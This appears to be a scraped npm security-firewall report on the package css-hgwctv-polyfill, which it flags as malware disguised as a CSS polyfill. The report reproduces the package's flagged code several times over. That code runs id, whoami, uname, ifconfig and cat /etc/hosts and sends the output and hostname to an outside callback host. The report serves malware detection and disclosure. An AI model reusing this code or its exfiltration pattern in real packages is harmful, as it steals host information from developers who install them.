Loading npm security reports…

css-hgwctv-polyfill@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / css-hgwctv-polyfill / 1.0.0

css-hgwctv-polyfill@1.0.0

CSS polyfill utility

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The published registry module automatically collects system information and sends it to an external callback when loaded.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Loading thunderboltRegistry.js in an environment providing Node.js capabilities and fetch.

Impact

Exposes user identity, hostname, operating system details, network interfaces, and host configuration without consent.

Mechanism

A top-level function executes shell commands, reads host configuration, and sends encoded results through HTTP requests.

Attack narrative

The package publishes a registry module referenced by its bundled manifest. Loading that module immediately runs reconnaissance commands and forwards their results, including host configuration, to a fixed external recipient. Execution and network failures are silently caught. The empty default entrypoint limits activation but does not neutralize the executable attack in the published registry module.

AI rationale

Inspected source proves automatic system reconnaissance and external data transmission unrelated to a CSS polyfill. This is an active data-exfiltration attack when the registry module is loaded, despite the inert default entrypoint.

Evidence

thunderboltRegistry.jsregistry-manifest.min.jsonpackage.json/etc/hosts

Network endpoints1

dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js sends collected data and the hostname to a fixed external HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system commands and forwards their output.

thunderboltRegistry.jsView on unpkg · L25

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

High

Ai Review Evidence

The module reads /etc/hosts and sends its contents to the callback.

thunderboltRegistry.jsView on unpkg · L45

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

•matchType = normalized_sha256 matchedPackage = css-reading-flow-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = css-reading-flow-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-hgwctv-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-hgwctv-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable module.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-hgwctv-polyfill@1.0.0/thunderboltRegistry.js"

package.jsonView file

Lines 1-9json

2 "name": "css-hgwctv-polyfill",

3 "version": "1.0.0",

4 "description": "CSS polyfill utility",

5 "main": "index.js",

Source & flagged code

8 flagged · loading source

thunderboltRegistry.jsView file

10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = require("child_process"); }

High

Ai Review Evidence

thunderboltRegistry.js sends collected data and the hostname to a fixed external HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try {

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system commands and forwards their output.

thunderboltRegistry.jsView on unpkg · L25

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The module reads /etc/hosts and sends its contents to the callback.

thunderboltRegistry.jsView on unpkg · L45

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-hgwctv-polyfill@1.0.0/thunderboltRegistry.js", "siteAssetsReg

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable module.

registry-manifest.min.jsonView on unpkg · L2

package.jsonView file

5"main": "index.js", "files": ["registry-manifest.min.json","thunderboltRegistry.js","index.js"], "license": "M

High

Ai Review Evidence

package.json explicitly includes the registry manifest and executable module in published files.

package.jsonView on unpkg · L5

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js sends collected data and the hostname to a fixed external HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system commands and forwards their output.

thunderboltRegistry.jsView on unpkg · L25

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

High

Ai Review Evidence

The module reads /etc/hosts and sends its contents to the callback.

thunderboltRegistry.jsView on unpkg · L45

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-hgwctv-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-hgwctv-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable module.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-hgwctv-polyfill@1.0.0/thunderboltRegistry.js"

package.jsonView file

Lines 1-9json

2 "name": "css-hgwctv-polyfill",

3 "version": "1.0.0",

4 "description": "CSS polyfill utility",

5 "main": "index.js",

css-hgwctv-polyfill@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code